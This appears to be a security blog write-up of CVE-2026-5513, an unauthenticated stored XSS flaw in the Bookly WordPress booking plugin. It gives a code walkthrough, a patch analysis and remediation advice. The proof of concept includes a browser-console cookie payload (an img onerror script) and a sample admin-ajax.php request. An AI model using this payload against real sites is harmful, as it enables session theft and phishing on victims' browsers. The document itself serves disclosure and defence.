Online Scheduling and Appointment Booking System – Bookly WordPress plugin banner

CVE-2026-5513: Bookly Unauthenticated Stored XSS via Cookie (CVSS 7.2)

Updated 8 min read

CVE-2026-5513 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Online Scheduling and Appointment Booking System – Bookly WordPress plugin. An attacker with no account can place a script payload in the bookly-customer-full-name cookie. The plugin reads that cookie without sanitization and prints it as raw HTML on the booking form, so the script runs in the victim’s browser.

Vulnerability Summary

FieldValue
Plugin NameOnline Scheduling and Appointment Booking System – Bookly
Plugin Slugbookly-responsive-appointment-booking-tool
CVE IDCVE-2026-5513
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting (XSS)
Affected Versions<= 27.2
Patched Version27.3
PublishedJune 12, 2026
ResearcherNaoya Takahashi (nakko)
Wordfence AdvisoryLink

Description

The Online Scheduling and Appointment Booking System – Bookly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the bookly-customer-full-name cookie in versions up to, and including, 27.2. The root cause is missing input sanitization combined with unescaped output.

Bookly has a “Remember personal information in cookies” feature. When enabled, the plugin stores the customer’s details in long-lived browser cookies after a booking. On later visits, the plugin reads those cookies to pre-fill the booking form. The value of bookly-customer-full-name is read straight from $_COOKIE and assigned as the customer’s full name with no filtering.

That name then flows into the booking form’s “info text” through the {client_name} code. The code-replacement routine inserts the value as raw HTML, and the info text is printed without escaping. As a result, any HTML or JavaScript stored in the cookie executes in the browser of the user whose form renders that cookie.

The feature is disabled by default. Exploitation requires Remember personal information in cookies to be turned on, and the info text of a booking step must contain the {client_name} code.

Technical Analysis

For a visitor who is not a known logged-in customer, the UserBookingData constructor loads customer details from cookies. The full name is read directly from $_COOKIE and passed to setFullName() with no sanitization.

lib/UserBookingData.php — lines 226–228 (vulnerable, 27.2):

} elseif ( get_option( 'bookly_cst_remember_in_cookie' ) ) {
    if ( isset( $_COOKIE['bookly-customer-full-name'] ) ) {
        $this->setFullName( $_COOKIE['bookly-customer-full-name'] );
    }

The whole block runs only when bookly_cst_remember_in_cookie is enabled. There is no current_user_can() or login check here — this path is reached by unauthenticated visitors.

The cookie itself is a normal, client-side cookie. Bookly writes it after a booking with a plain four-argument setcookie() call, so it has no HttpOnly flag and is scoped to the whole site for one year.

lib/UserBookingData.php — line 700 (vulnerable, 27.2):

$fields[ $key ] != '' && setcookie( 'bookly-customer-' . str_replace( '_', '-', $key ), $fields[ $key ], $expire, '/' );

Because the cookie is not HttpOnly, any script — or the attacker’s own browser — can set it with document.cookie. The attacker controls its value.

Step 2 — The name becomes the {client_name} code

When a booking step renders, Bookly builds the list of replacement codes for the info text. For a new customer, client_name is set to the value just loaded from the cookie.

frontend/components/booking/InfoText.php — line 382 (vulnerable, 27.2):

'client_name' => $userData->getFullName(),

Step 3 — The code is inserted as raw HTML

InfoText::prepare() substitutes the codes into the info text by calling Codes::replace(). That call does not pass the $escape argument, so escaping defaults to false.

lib/utils/Codes.php — lines 51–60 (vulnerable, 27.2):

case 'T_CODE':
    $data = $code = self::get( $token[1], $codes );
    if ( $code !== null ) {
        if ( $escape ) {
            $data = strip_tags( $code, '<br><div>' );
        }
        if ( $bold !== false && ! in_array( $token[1], $exclude ) ) {
            $output .= '<b>' . $data . '</b>';
        } else {
            $output .= $data;
        }
    }
    break;

Because $escape is false, strip_tags() is skipped. The raw cookie value is wrapped in <b>...</b> and concatenated into the output string.

Step 4 — The info text is printed unescaped

The finished info text is printed through Common::html(), which is a pass-through that returns the string as-is.

lib/utils/Common.php (vulnerable, 27.2):

public static function html( $html )
{
    // Currently, allow any HTML tags
    return $html;
}

frontend/modules/booking/templates/6_details.php — line 11 (vulnerable, 27.2):

<div class="bookly-box"><?php echo Common::html( $info_text ) ?></div>

The same unescaped pattern appears on the complete step (8_complete.php). The payload from the cookie is now live HTML inside the booking widget, and the browser runs it.

The visible full-name field on the booking form is escaped on output with esc_attr(), so a payload typed there cannot break out of the input value. The cookie provides a second, hidden input channel for the same data. That channel feeds the unescaped {client_name} info-text path, which is why the cookie — not the form field — is the vulnerable entry point.

Proof of Concept

Disclaimer: This proof of concept is for educational and authorized security testing only. Test only on systems you own or have explicit written permission to test. Never test against sites without authorization.

Prerequisites

  • Bookly <= 27.2 installed and active.
  • Customers → Settings → “Remember personal information in cookies” is enabled (option bookly_cst_remember_in_cookie).
  • A public page contains a Bookly booking form, and the info text of a rendered step contains the {client_name} code. A common setup is a greeting such as Dear {client_name}, ... on the payment or details step.

As an unauthenticated visitor, open the page with the booking form and run this in the browser console:

document.cookie = "bookly-customer-full-name=<img src=x onerror=alert(document.domain)>; path=/";

The cookie has no HttpOnly flag, so the browser accepts this value.

Step 2 — Trigger the vulnerable render

Walk the booking form forward to the step whose info text includes {client_name} (for example, advance to the payment step). The booking request sends the cookie:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Cookie: bookly-customer-full-name=<img src=x onerror=alert(document.domain)>
Content-Type: application/x-www-form-urlencoded

action=bookly_render_payment&form_id=<FORM_ID>&bookly_csrf_token=<TOKEN>

form_id and bookly_csrf_token are printed in the booking form’s page, so an unauthenticated visitor can read them.

Step 3 — Observe execution

The server returns the step HTML with the cookie value reflected unescaped inside the info-text block:

<div class="bookly-box">...<b><img src=x onerror=alert(document.domain)></b>...</div>

The browser tries to load the broken image, fires onerror, and runs the script. An alert(document.domain) confirms code execution in the site’s origin.

Impact

Because the value lives in a one-year cookie, it runs every time the booking form renders that cookie. An attacker can replace the harmless alert() with code that steals session data, acts as the logged-in viewer, or rewrites the page to phish credentials.

Patch Analysis

Version 27.3 sanitizes every customer cookie on read. A new helper, Common::stripWpKses(), runs the value through wp_kses() with the post rule set, which removes <script> tags and dangerous event-handler attributes.

lib/utils/Common.php — added in 27.3:

/**
 * Remove XSS by wp_kses_post()
 *
 * @param string $html
 * @return string
 */
public static function stripWpKses( $html )
{
    return wp_kses( stripslashes( $html ), 'post' );
}

The cookie reads in UserBookingData are wrapped with this helper:

-                $this->setFullName( $_COOKIE['bookly-customer-full-name'] );
+                $this->setFullName( Utils\Common::stripWpKses( $_COOKIE['bookly-customer-full-name'] ) );

The fix is applied to all 13 customer cookies — full name, first name, last name, email, phone, birthday, and the address fields — not only bookly-customer-full-name. This addresses the root cause at the input boundary: untrusted cookie data can no longer carry executable HTML into the page.

Timeline

DateEvent
June 12, 2026Vulnerability publicly published by Wordfence
June 13, 2026Wordfence advisory last updated
Version 27.3Patched release published on wordpress.org

Remediation

Update Bookly to version 27.3 or newer immediately. This is the only complete fix.

If you cannot update right away:

  • Disable “Remember personal information in cookies” in the Bookly customer settings. This closes the vulnerable code path.
  • Remove the {client_name} code from your booking-step info texts as a temporary measure.
  • Use a Web Application Firewall to block script-like values in Bookly cookies.

After updating, review your booking and customer records for any unexpected script content.

References

  1. Wordfence Advisory — CVE-2026-5513
  2. CVE-2026-5513 — CVE.org Record
  3. Bookly on WordPress.org
  4. WordPress wp_kses() Reference
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee